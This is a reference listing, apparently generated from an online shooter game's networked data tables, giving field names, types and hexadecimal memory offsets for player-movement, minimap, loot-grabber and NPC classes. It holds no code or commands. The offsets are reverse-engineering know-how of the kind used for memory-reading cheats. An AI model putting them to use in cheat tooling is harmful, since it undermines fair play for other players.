+class DT_Local + +``` +{ + m_airMoveBlockPlanes: Array, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Int, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Int, + m_bDrawViewmodel: Int, + m_bAllowAutoMovement: Int, + m_accelScale: Float, + m_powerRegenRateScale: Float, + m_dodgePowerDelayScale: Float, + m_hSkyCamera: Int, + m_skybox3d.scale: Int, + m_skybox3d.useWorldFog: Int, + m_skybox3d.fog.botAlt: Float, + m_skybox3d.fog.topAlt: Float, + m_skybox3d.fog.halfDistBot: Float, + m_skybox3d.fog.halfDistTop: Float, + m_skybox3d.fog.distColorStr: Float, + m_skybox3d.fog.dirColorStr: Float, + m_skybox3d.fog.distOffset: Float, + m_skybox3d.fog.densityScale: Float, + m_skybox3d.fog.halfAngleDeg: Float, + m_skybox3d.fog.HDRColorScale: Float, + m_skybox3d.fog.distColor: Int, + m_skybox3d.fog.dirColor: Int, + m_skybox3d.fog.direction: Vector, + m_skybox3d.fog.enable: Int, + m_audio.localSound[0]: Vector, + m_audio.localSound[1]: Vector, + m_audio.localSound[2]: Vector, + m_audio.localSound[3]: Vector, + m_audio.localSound[4]: Vector, + m_audio.localSound[5]: Vector, + m_audio.localSound[6]: Vector, + m_audio.localSound[7]: Vector, + m_audio.soundscapeIndex: Int, + m_audio.localBits: Int, + m_audio.entIndex: Int, + m_animNearZ: Float, + lastAttacker: Int, + attackedCount: Int, + m_airMoveBlockPlanes[0]: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Int, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_trackedChildProjectileCount: Int, + m_oneHandedWeaponUsage: Int, + m_flCockpitEntryTime: Time, + m_ejectStartTime: Time, + m_disembarkStartTime: Time, + m_hotDropImpactTime: Time, + m_outOfBoundsDeadTime: Time, + m_objectiveIndex: Int, + m_objectiveEntity: Int, + m_objectiveEndTime: Time, + m_cinematicEventFlags: Int, + m_forcedDialogueOnly: Int, + m_titanBuildTime: Time, + m_titanBubbleShieldTime: Time, + m_titanEmbarkEnabled: Int, + m_titanDisembarkEnabled: Int, + m_voicePackIndex: Int, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Int, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Int, + m_playerAnimDodging: Int, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Int, + m_playerAnimShouldLand: Int, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Int, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityBlendStartRotation: Rotation, + m_playerLocalGravityBlendEndRotation: Rotation, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: Int, + m_playerLocalGravityLineStartEntity: Int, + m_playerLocalGravityLineEndEntity: Int, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Int, + m_groundNormal: Vector, + m_continuousUseBlocked: Int, + m_useEnt: Int, +} +``` + +### Offsets + +``` +DT_Local!0x0000 m_airMoveBlockPlanes +DT_Local!0x0014 m_iHideHUD +DT_Local!0x0018 m_superJumpsUsed +DT_Local!0x001c m_jumpedOffRodeo +DT_Local!0x0020 m_jumpPressTime +DT_Local!0x0024 m_jetpackActivateTime +DT_Local!0x0028 m_jetpackDeactivateTime +DT_Local!0x002c m_flSuitPower +DT_Local!0x0030 m_flSuitJumpPower +DT_Local!0x0034 m_flSuitGrapplePower +DT_Local!0x0038 m_flFallVelocity +DT_Local!0x003c m_flStepSize +DT_Local!0x0040 m_airSlowMoFrac +DT_Local!0x0044 predictableFlags +DT_Local!0x0048 m_bitsActiveDevices +DT_Local!0x004c m_forceStance +DT_Local!0x0050 m_duckToggleOn +DT_Local!0x0051 m_bDrawViewmodel +DT_Local!0x0052 m_bAllowAutoMovement +DT_Local!0x0054 m_accelScale +DT_Local!0x0058 m_powerRegenRateScale +DT_Local!0x005c m_dodgePowerDelayScale +DT_Local!0x0074 m_hSkyCamera +DT_Local!0x0078 m_skybox3d.scale +DT_Local!0x007c m_skybox3d.useWorldFog +DT_Local!0x0080 m_skybox3d.fog.botAlt +DT_Local!0x0084 m_skybox3d.fog.topAlt +DT_Local!0x0088 m_skybox3d.fog.halfDistBot +DT_Local!0x008c m_skybox3d.fog.halfDistTop +DT_Local!0x0090 m_skybox3d.fog.distColorStr +DT_Local!0x0094 m_skybox3d.fog.dirColorStr +DT_Local!0x0098 m_skybox3d.fog.distOffset +DT_Local!0x009c m_skybox3d.fog.densityScale +DT_Local!0x00a0 m_skybox3d.fog.halfAngleDeg +DT_Local!0x00a4 m_skybox3d.fog.HDRColorScale +DT_Local!0x00a8 m_skybox3d.fog.distColor +DT_Local!0x00ac m_skybox3d.fog.dirColor +DT_Local!0x00b0 m_skybox3d.fog.direction +DT_Local!0x00c1 m_skybox3d.fog.enable +DT_Local!0x00c8 m_audio.localSound[0] +DT_Local!0x00d4 m_audio.localSound[1] +DT_Local!0x00e0 m_audio.localSound[2] +DT_Local!0x00ec m_audio.localSound[3] +DT_Local!0x00f8 m_audio.localSound[4] +DT_Local!0x0104 m_audio.localSound[5] +DT_Local!0x0110 m_audio.localSound[6] +DT_Local!0x011c m_audio.localSound[7] +DT_Local!0x0128 m_audio.soundscapeIndex +DT_Local!0x012c m_audio.localBits +DT_Local!0x0130 m_audio.entIndex +DT_Local!0x014c m_animNearZ +DT_Local!0x0150 lastAttacker +DT_Local!0x0154 attackedCount +DT_Local!0x0180 m_airMoveBlockPlanes[0] +DT_Local!0x0198 m_airMoveBlockPlaneTime +DT_Local!0x019c m_airMoveBlockPlaneCount +DT_Local!0x01a0 m_queuedMeleePressTime +DT_Local!0x01a4 m_queuedGrappleMeleeTime +DT_Local!0x01a9 m_disableMeleeUntilRelease +DT_Local!0x01ac m_meleePressTime +DT_Local!0x01b0 m_meleeDisabledCounter +DT_Local!0x01b4 m_meleeInputIndex +DT_Local!0x01b8 m_trackedChildProjectileCount +DT_Local!0x01bc m_oneHandedWeaponUsage +DT_Local!0x01c0 m_flCockpitEntryTime +DT_Local!0x01c4 m_ejectStartTime +DT_Local!0x01c8 m_disembarkStartTime +DT_Local!0x01cc m_hotDropImpactTime +DT_Local!0x01d0 m_outOfBoundsDeadTime +DT_Local!0x01d4 m_objectiveIndex +DT_Local!0x01d8 m_objectiveEntity +DT_Local!0x01dc m_objectiveEndTime +DT_Local!0x01e0 m_cinematicEventFlags +DT_Local!0x01e4 m_forcedDialogueOnly +DT_Local!0x01e8 m_titanBuildTime +DT_Local!0x01ec m_titanBubbleShieldTime +DT_Local!0x01f0 m_titanEmbarkEnabled +DT_Local!0x01f1 m_titanDisembarkEnabled +DT_Local!0x01f4 m_voicePackIndex +DT_Local!0x01f8 m_playerAnimStationaryGoalFeetYaw +DT_Local!0x01fc m_playerAnimJumping +DT_Local!0x0200 m_playerAnimJumpStartTime +DT_Local!0x0204 m_playerAnimFirstJumpFrame +DT_Local!0x0205 m_playerAnimDodging +DT_Local!0x0208 m_playerAnimJumpActivity +DT_Local!0x020c m_playerAnimLanding +DT_Local!0x020d m_playerAnimShouldLand +DT_Local!0x0210 m_playerAnimLandStartTime +DT_Local!0x0214 m_playerAnimInAirWalk +DT_Local!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +DT_Local!0x021c m_playerAnimMeleeParity +DT_Local!0x0220 m_playerAnimMeleeStartTime +DT_Local!0x0254 m_playerLocalGravityBlendStartRotation +DT_Local!0x0264 m_playerLocalGravityBlendEndRotation +DT_Local!0x0274 m_playerLocalGravityBlendEndDirection +DT_Local!0x0280 m_playerLocalGravityBlendStartTime +DT_Local!0x0284 m_playerLocalGravityBlendEndTime +DT_Local!0x0288 m_playerLocalGravityBlendStrength +DT_Local!0x028c m_playerLocalGravityStrength +DT_Local!0x0290 m_playerLocalGravityType +DT_Local!0x0294 m_playerLocalGravityPoint +DT_Local!0x02a0 m_playerLocalGravityLineStart +DT_Local!0x02ac m_playerLocalGravityLineEnd +DT_Local!0x02b8 m_playerLocalGravityEntity +DT_Local!0x02bc m_playerLocalGravityLineStartEntity +DT_Local!0x02c0 m_playerLocalGravityLineEndEntity +DT_Local!0x02c4 m_playerFloatLookStartTime +DT_Local!0x02c8 m_playerFloatLookEndTime +DT_Local!0x02cc m_wallrunLatestFloorHeight +DT_Local!0x02d0 m_wallrunFromJetpack +DT_Local!0x02d4 m_groundNormal +DT_Local!0x02e0 m_continuousUseBlocked +DT_Local!0x02e4 m_useEnt +``` +
+
+class DT_LocalPlayerExclusive + +``` +{ + NearbyPushers: DT_NearbyPushers, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_vecAbsVelocity: Vector, + m_vecBaseVelocity: Vector, + m_vecVelocity.x: Float, + m_vecVelocity.y: Float, + m_vecVelocity.z: Float, + m_flFriction: Float, + m_tethers: DataTable, + m_lastUCmdSimulationTicks: Cycle, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: DT_Local, + m_currentFrameLocalPlayer: DT_CurrentData_LocalPlayer, + m_modInventory: DataTable, + m_consumableInventory: DataTable, + m_fStickySprintMinTime: Float, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallrunFrictionScale: Float, + m_groundFrictionScale: Float, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Int, + m_wallDangleForceFallOff: Int, + m_wallDangleLastPushedForward: Int, + m_wallDangleDisableWeapon: Int, + m_gravityLiftActive: Int, + m_slowMoEnabled: Int, + m_sliding: Int, + m_slideLongJumpAllowed: Int, + m_bIsStickySprinting: Int, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_sprintTiltPoseParameter: Int, + m_sprintFracPoseParameter: Int, + m_ziplineAllowed: Int, + m_lastZipline: Int, + m_lastZiplineDetachTime: Time, + m_zipline: DT_PlayerZipline, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: Int, + m_sameZiplineCooldownTime: Float, + m_highSpeedViewmodelAnims: Int, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Int, + m_playAnimationNext: DataTable, + m_playAnimationEntityBlocker: Int, + m_playAnimationEntityBlockerDucking: Int, + m_boosting: Int, + m_activateBoost: Int, + m_repeatedBoost: Int, + m_boostMeter: Float, + m_jetpack: Int, + m_activateJetpack: Int, + m_jetpackAfterburner: Int, + m_gliding: Int, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Int, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: DataTable, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: DataTable, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_replayImportantSounds_networkTableSoundID: DataTable, + m_replayImportantSounds_beginTime: DataTable, + m_viewConeActive: Int, + m_viewConeParented: Int, + m_viewConeParity: Int, + m_hConstraintEntity: Int, + m_vecConstraintCenter: Vector, + m_flConstraintRadius: Float, + m_flConstraintWidth: Float, + m_flConstraintSpeedFactor: Float, + m_bConstraintPastRadius: Int, + m_observerModeStaticPosition: Vector, + m_observerModeStaticAngles: Vector, + m_observerModeStaticFOVOverride: Float, + m_lastKillTime: Time, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_dodging: Int, + m_dodgingInAir: Int, + m_airSpeed: Float, + m_airAcceleration: Float, + m_firstPersonProxy: Int, + m_predictedFirstPersonProxy: Int, + m_hardpointEntity: Int, + m_petTitanMode: Int, + m_hThirdPersonEnt: Int, + m_thirdPersonShoulderView: Int, + m_thirdPerson: DT_ThirdPersonView, + m_playerLookTargetEntity: Int, + m_playerLookTargetOffset: Vector, + m_viewConeLerpTime: Float, + m_flLaggedMovementValue: Float, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: Int, + m_lungeTargetEntity: Int, + m_isLungingToPosition: Int, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Int, + m_lungeLockPitch: Int, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_nearbyPusherCount: Int, + m_pushAwayFromTopAcceleration: Vector, + m_minimapTargetZoomScale: Float, + m_minimapTargetLerpTime: Time, + m_playerScriptNetDataExclusive: Int, + m_pingOffset: Float, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveFreelookEnabled: Int, + m_skydiveFreelookLockedAngle: Vector, + m_skydiveFollowing: Int, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_skydiveFromUpdraft: Int, + m_twitchRewardBits: BitMask, + m_playerKnockBacks: DataTable, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, + m_armsModelIndex: Int, + m_deathFieldIndex: Int, +} +``` + +### Offsets + +``` +DT_LocalPlayerExclusive!0x0000 NearbyPushers +DT_LocalPlayerExclusive!0x0004 m_localOrigin +DT_LocalPlayerExclusive!0x000c m_localOrigin.z +DT_LocalPlayerExclusive!0x0140 m_vecAbsVelocity +DT_LocalPlayerExclusive!0x0410 m_vecBaseVelocity +DT_LocalPlayerExclusive!0x0460 m_vecVelocity.x +DT_LocalPlayerExclusive!0x0464 m_vecVelocity.y +DT_LocalPlayerExclusive!0x0468 m_vecVelocity.z +DT_LocalPlayerExclusive!0x0478 m_flFriction +DT_LocalPlayerExclusive!0x1b3c m_tethers +DT_LocalPlayerExclusive!0x1c14 m_lastUCmdSimulationTicks +DT_LocalPlayerExclusive!0x1c18 m_lastUCmdSimulationRemainderTime +DT_LocalPlayerExclusive!0x1d38 m_Local +DT_LocalPlayerExclusive!0x21f0 m_currentFrameLocalPlayer +DT_LocalPlayerExclusive!0x252c m_modInventory +DT_LocalPlayerExclusive!0x25ac m_consumableInventory +DT_LocalPlayerExclusive!0x28c0 m_fStickySprintMinTime +DT_LocalPlayerExclusive!0x28dc m_sprintStartedTime +DT_LocalPlayerExclusive!0x28e0 m_sprintStartedFrac +DT_LocalPlayerExclusive!0x28e4 m_sprintEndedTime +DT_LocalPlayerExclusive!0x28e8 m_sprintEndedFrac +DT_LocalPlayerExclusive!0x28ec m_stickySprintStartTime +DT_LocalPlayerExclusive!0x295c m_upDirPredicted +DT_LocalPlayerExclusive!0x2968 m_lastWallRunStartPos +DT_LocalPlayerExclusive!0x298c m_wallrunFrictionScale +DT_LocalPlayerExclusive!0x2990 m_groundFrictionScale +DT_LocalPlayerExclusive!0x29d4 m_traversalBegin +DT_LocalPlayerExclusive!0x29e0 m_traversalMid +DT_LocalPlayerExclusive!0x29ec m_traversalEnd +DT_LocalPlayerExclusive!0x29f8 m_traversalMidFrac +DT_LocalPlayerExclusive!0x29fc m_traversalForwardDir +DT_LocalPlayerExclusive!0x2a14 m_traversalProgress +DT_LocalPlayerExclusive!0x2a18 m_traversalStartTime +DT_LocalPlayerExclusive!0x2a1c m_traversalHandAppearTime +DT_LocalPlayerExclusive!0x2a20 m_traversalReleaseTime +DT_LocalPlayerExclusive!0x2a24 m_traversalBlendOutStartTime +DT_LocalPlayerExclusive!0x2a28 m_traversalBlendOutStartOffset +DT_LocalPlayerExclusive!0x2a40 m_wallDangleJumpOffTime +DT_LocalPlayerExclusive!0x2a44 m_wallDangleMayHangHere +DT_LocalPlayerExclusive!0x2a45 m_wallDangleForceFallOff +DT_LocalPlayerExclusive!0x2a46 m_wallDangleLastPushedForward +DT_LocalPlayerExclusive!0x2a48 m_wallDangleDisableWeapon +DT_LocalPlayerExclusive!0x2a52 m_gravityLiftActive +DT_LocalPlayerExclusive!0x2b14 m_slowMoEnabled +DT_LocalPlayerExclusive!0x2b15 m_sliding +DT_LocalPlayerExclusive!0x2b16 m_slideLongJumpAllowed +DT_LocalPlayerExclusive!0x2b24 m_bIsStickySprinting +DT_LocalPlayerExclusive!0x2b28 m_prevMoveYaw +DT_LocalPlayerExclusive!0x2b2c m_sprintTiltVel +DT_LocalPlayerExclusive!0x2b30 m_sprintTiltPoseParameter +DT_LocalPlayerExclusive!0x2b34 m_sprintFracPoseParameter +DT_LocalPlayerExclusive!0x2c9c m_ziplineAllowed +DT_LocalPlayerExclusive!0x2ca4 m_lastZipline +DT_LocalPlayerExclusive!0x2ca8 m_lastZiplineDetachTime +DT_LocalPlayerExclusive!0x2cb8 m_zipline +DT_LocalPlayerExclusive!0x2d28 m_ziplineViewOffsetPosition +DT_LocalPlayerExclusive!0x2d34 m_ziplineViewOffsetVelocity +DT_LocalPlayerExclusive!0x2d40 m_ziplineGrenadeEntity +DT_LocalPlayerExclusive!0x2d50 m_sameZiplineCooldownTime +DT_LocalPlayerExclusive!0x2d54 m_highSpeedViewmodelAnims +DT_LocalPlayerExclusive!0x2d58 m_playAnimationType +DT_LocalPlayerExclusive!0x2d5c m_detachGrappleOnPlayAnimationEnd +DT_LocalPlayerExclusive!0x2d60 m_playAnimationNext +DT_LocalPlayerExclusive!0x2d68 m_playAnimationEntityBlocker +DT_LocalPlayerExclusive!0x2d6c m_playAnimationEntityBlockerDucking +DT_LocalPlayerExclusive!0x2d74 m_boosting +DT_LocalPlayerExclusive!0x2d75 m_activateBoost +DT_LocalPlayerExclusive!0x2d76 m_repeatedBoost +DT_LocalPlayerExclusive!0x2d78 m_boostMeter +DT_LocalPlayerExclusive!0x2d7c m_jetpack +DT_LocalPlayerExclusive!0x2d7d m_activateJetpack +DT_LocalPlayerExclusive!0x2d7e m_jetpackAfterburner +DT_LocalPlayerExclusive!0x2d7f m_gliding +DT_LocalPlayerExclusive!0x2d80 m_glideMeter +DT_LocalPlayerExclusive!0x2d84 m_glideRechargeDelayAccumulator +DT_LocalPlayerExclusive!0x2d88 m_hovering +DT_LocalPlayerExclusive!0x2d8c m_lastJumpHeight +DT_LocalPlayerExclusive!0x2d90 m_touchingUpdraftTriggers +DT_LocalPlayerExclusive!0x2dd0 m_touchingUpdraftTriggersCount +DT_LocalPlayerExclusive!0x2dd4 m_touchingSlipTriggers +DT_LocalPlayerExclusive!0x2e14 m_touchingSlipTriggersCount +DT_LocalPlayerExclusive!0x2e18 m_slipAirRestrictDirection +DT_LocalPlayerExclusive!0x2e24 m_slipAirRestrictTime +DT_LocalPlayerExclusive!0x2f60 m_replayImportantSounds_networkTableSoundID +DT_LocalPlayerExclusive!0x2f70 m_replayImportantSounds_beginTime +DT_LocalPlayerExclusive!0x2fad m_viewConeActive +DT_LocalPlayerExclusive!0x2fae m_viewConeParented +DT_LocalPlayerExclusive!0x2fb0 m_viewConeParity +DT_LocalPlayerExclusive!0x324c m_hConstraintEntity +DT_LocalPlayerExclusive!0x3250 m_vecConstraintCenter +DT_LocalPlayerExclusive!0x325c m_flConstraintRadius +DT_LocalPlayerExclusive!0x3260 m_flConstraintWidth +DT_LocalPlayerExclusive!0x3264 m_flConstraintSpeedFactor +DT_LocalPlayerExclusive!0x3268 m_bConstraintPastRadius +DT_LocalPlayerExclusive!0x32c4 m_observerModeStaticPosition +DT_LocalPlayerExclusive!0x32d0 m_observerModeStaticAngles +DT_LocalPlayerExclusive!0x32dc m_observerModeStaticFOVOverride +DT_LocalPlayerExclusive!0x3348 m_lastKillTime +DT_LocalPlayerExclusive!0x336c m_wallRunStartTime +DT_LocalPlayerExclusive!0x3370 m_wallRunClearTime +DT_LocalPlayerExclusive!0x3384 m_dodging +DT_LocalPlayerExclusive!0x33de m_dodgingInAir +DT_LocalPlayerExclusive!0x33f8 m_airSpeed +DT_LocalPlayerExclusive!0x33fc m_airAcceleration +DT_LocalPlayerExclusive!0x3428 m_firstPersonProxy +DT_LocalPlayerExclusive!0x342c m_predictedFirstPersonProxy +DT_LocalPlayerExclusive!0x343c m_hardpointEntity +DT_LocalPlayerExclusive!0x3474 m_petTitanMode +DT_LocalPlayerExclusive!0x347c m_hThirdPersonEnt +DT_LocalPlayerExclusive!0x3480 m_thirdPersonShoulderView +DT_LocalPlayerExclusive!0x34e4 m_thirdPerson +DT_LocalPlayerExclusive!0x35ac m_playerLookTargetEntity +DT_LocalPlayerExclusive!0x35b0 m_playerLookTargetOffset +DT_LocalPlayerExclusive!0x35f0 m_viewConeLerpTime +DT_LocalPlayerExclusive!0x3844 m_flLaggedMovementValue +DT_LocalPlayerExclusive!0x3848 m_lastMoveInputTime +DT_LocalPlayerExclusive!0x384c m_ignoreEntityForMovementUntilNotTouching +DT_LocalPlayerExclusive!0x3d94 m_lungeTargetEntity +DT_LocalPlayerExclusive!0x3d98 m_isLungingToPosition +DT_LocalPlayerExclusive!0x3d9c m_lungeTargetPosition +DT_LocalPlayerExclusive!0x3da8 m_lungeStartPositionOffset +DT_LocalPlayerExclusive!0x3db4 m_lungeEndPositionOffset +DT_LocalPlayerExclusive!0x3dc0 m_lungeStartTime +DT_LocalPlayerExclusive!0x3dc4 m_lungeEndTime +DT_LocalPlayerExclusive!0x3dc8 m_lungeCanFly +DT_LocalPlayerExclusive!0x3dc9 m_lungeLockPitch +DT_LocalPlayerExclusive!0x3dcc m_lungeStartPitch +DT_LocalPlayerExclusive!0x3dd0 m_lungeSmoothTime +DT_LocalPlayerExclusive!0x3dd4 m_lungeMaxTime +DT_LocalPlayerExclusive!0x3dd8 m_lungeMaxEndSpeed +DT_LocalPlayerExclusive!0x4244 m_nearbyPusherCount +DT_LocalPlayerExclusive!0x4254 m_pushAwayFromTopAcceleration +DT_LocalPlayerExclusive!0x4264 m_minimapTargetZoomScale +DT_LocalPlayerExclusive!0x4268 m_minimapTargetLerpTime +DT_LocalPlayerExclusive!0x4270 m_playerScriptNetDataExclusive +DT_LocalPlayerExclusive!0x427c m_pingOffset +DT_LocalPlayerExclusive!0x4298 m_skydiveForwardPoseValueVelocity +DT_LocalPlayerExclusive!0x42a0 m_skydiveForwardPoseValueCurrent +DT_LocalPlayerExclusive!0x42a4 m_skydiveSidePoseValueVelocity +DT_LocalPlayerExclusive!0x42ac m_skydiveSidePoseValueCurrent +DT_LocalPlayerExclusive!0x42b0 m_skydiveYawVelocity +DT_LocalPlayerExclusive!0x42b4 m_skydiveIsNearLeviathan +DT_LocalPlayerExclusive!0x42d4 m_skydiveStartTime +DT_LocalPlayerExclusive!0x42d8 m_skydiveEndTime +DT_LocalPlayerExclusive!0x42dc m_skydiveAnticipateStartTime +DT_LocalPlayerExclusive!0x42e0 m_skydiveAnticipateEndTime +DT_LocalPlayerExclusive!0x42e4 m_skydiveDistanceToLand +DT_LocalPlayerExclusive!0x42f8 m_skydiveFreelookEnabled +DT_LocalPlayerExclusive!0x42fc m_skydiveFreelookLockedAngle +DT_LocalPlayerExclusive!0x4310 m_skydiveFollowing +DT_LocalPlayerExclusive!0x4314 m_skydiveUnfollowVelocity +DT_LocalPlayerExclusive!0x4324 m_skydiveLeviathanHitPosition +DT_LocalPlayerExclusive!0x4330 m_skydiveLeviathanHitNormal +DT_LocalPlayerExclusive!0x433c m_skydiveSlipVelocity +DT_LocalPlayerExclusive!0x4348 m_skydiveFromUpdraft +DT_LocalPlayerExclusive!0x4350 m_twitchRewardBits +DT_LocalPlayerExclusive!0x4360 m_playerKnockBacks +DT_LocalPlayerExclusive!0x43e0 m_updraftCount +DT_LocalPlayerExclusive!0x43e4 m_updraftStage +DT_LocalPlayerExclusive!0x43e8 m_updraftEnterTime +DT_LocalPlayerExclusive!0x43ec m_updraftLeaveTime +DT_LocalPlayerExclusive!0x43f0 m_updraftMinShakeActivationHeight +DT_LocalPlayerExclusive!0x43f4 m_updraftMaxShakeActivationHeight +DT_LocalPlayerExclusive!0x43f8 m_updraftLiftActivationHeight +DT_LocalPlayerExclusive!0x43fc m_updraftLiftSpeed +DT_LocalPlayerExclusive!0x4400 m_updraftLiftAcceleration +DT_LocalPlayerExclusive!0x4404 m_updraftLiftExitDuration +DT_LocalPlayerExclusive!0x4408 m_updraftSlowTime +DT_LocalPlayerExclusive!0x440c m_armsModelIndex +DT_LocalPlayerExclusive!0x4410 m_deathFieldIndex +``` +
+
+class DT_LootGrabber extends DT_DynamicProp + +``` +{ + m_minimapData: DT_MinimapBaseEntityData, + m_impactEffectColorID: Int, + m_lootBeingGrabbed: Int, + m_lootGrabDist: Float, +} +``` + +### Offsets + +``` +DT_LootGrabber!0x0948 m_minimapData +DT_LootGrabber!0x1640 m_impactEffectColorID +DT_LootGrabber!0x1648 m_lootBeingGrabbed +DT_LootGrabber!0x164c m_lootGrabDist +``` +
+
+class DT_MinimapBaseEntityData + +``` +{ + visibilityDefaultFlag: DataTable, + visibilityShowFlag: DataTable, + flags: Int, + zOrder: Int, + customState: Int, + objectScale: Float, +} +``` + +### Offsets + +``` +DT_MinimapBaseEntityData!0x0000 visibilityDefaultFlag +DT_MinimapBaseEntityData!0x0020 visibilityShowFlag +DT_MinimapBaseEntityData!0x0040 flags +DT_MinimapBaseEntityData!0x0044 zOrder +DT_MinimapBaseEntityData!0x0048 customState +DT_MinimapBaseEntityData!0x004c objectScale +``` +
+
+class DT_MovieDisplay extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_bLooping: Int, + m_szMovieFilename: String, + m_szGroupName: String, + m_szExternalAudioFilename: String, + m_bStretchToFill: Int, + m_bLetterbox: Int, + m_bPausesWithClient: Int, + m_bForcedSlave: Int, + m_bUseCustomUVs: Int, + m_flUMin: Float, + m_flUMax: Float, + m_flVMin: Float, + m_flVMax: Float, +} +``` + +### Offsets + +``` +DT_MovieDisplay!0x0a40 m_bEnabled +DT_MovieDisplay!0x0a41 m_bLooping +DT_MovieDisplay!0x0a43 m_szMovieFilename +DT_MovieDisplay!0x0ac3 m_szGroupName +DT_MovieDisplay!0x0b43 m_szExternalAudioFilename +DT_MovieDisplay!0x0b83 m_bStretchToFill +DT_MovieDisplay!0x0b84 m_bLetterbox +DT_MovieDisplay!0x0b85 m_bPausesWithClient +DT_MovieDisplay!0x0b86 m_bForcedSlave +DT_MovieDisplay!0x0b87 m_bUseCustomUVs +DT_MovieDisplay!0x0b8c m_flUMin +DT_MovieDisplay!0x0b90 m_flUMax +DT_MovieDisplay!0x0b94 m_flVMin +DT_MovieDisplay!0x0b98 m_flVMax +``` +
+
+class DT_NPC_SentryTurret extends DT_AI_BaseNPC + +``` +{ + m_turretState: Int, + m_killCount: Int, + m_titanKillCount: Int, + m_eyeAttach: Int, + m_controlPanel: Int, +} +``` + +### Offsets + +``` +DT_NPC_SentryTurret!0x1d40 m_turretState +DT_NPC_SentryTurret!0x1d44 m_killCount +DT_NPC_SentryTurret!0x1d48 m_titanKillCount +DT_NPC_SentryTurret!0x1d4c m_eyeAttach +DT_NPC_SentryTurret!0x1d50 m_controlPanel +``` +
+
+class DT_NPC_Titan extends DT_AI_BaseNPC + +``` +{ + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_titanSoul: Int, + m_grappleHook: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_canStand: Int, +} +``` + +### Offsets + +``` +DT_NPC_Titan!0x0e98 m_decalIndex +DT_NPC_Titan!0x19b0 m_inventory +DT_NPC_Titan!0x1a1e m_selectedOffhands +DT_NPC_Titan!0x1aa0 m_titanSoul +DT_NPC_Titan!0x1d40 m_grappleHook +DT_NPC_Titan!0x1d48 m_grapple +DT_NPC_Titan!0x1dd8 m_grappleActive +DT_NPC_Titan!0x1dd9 m_canStand +``` +
+
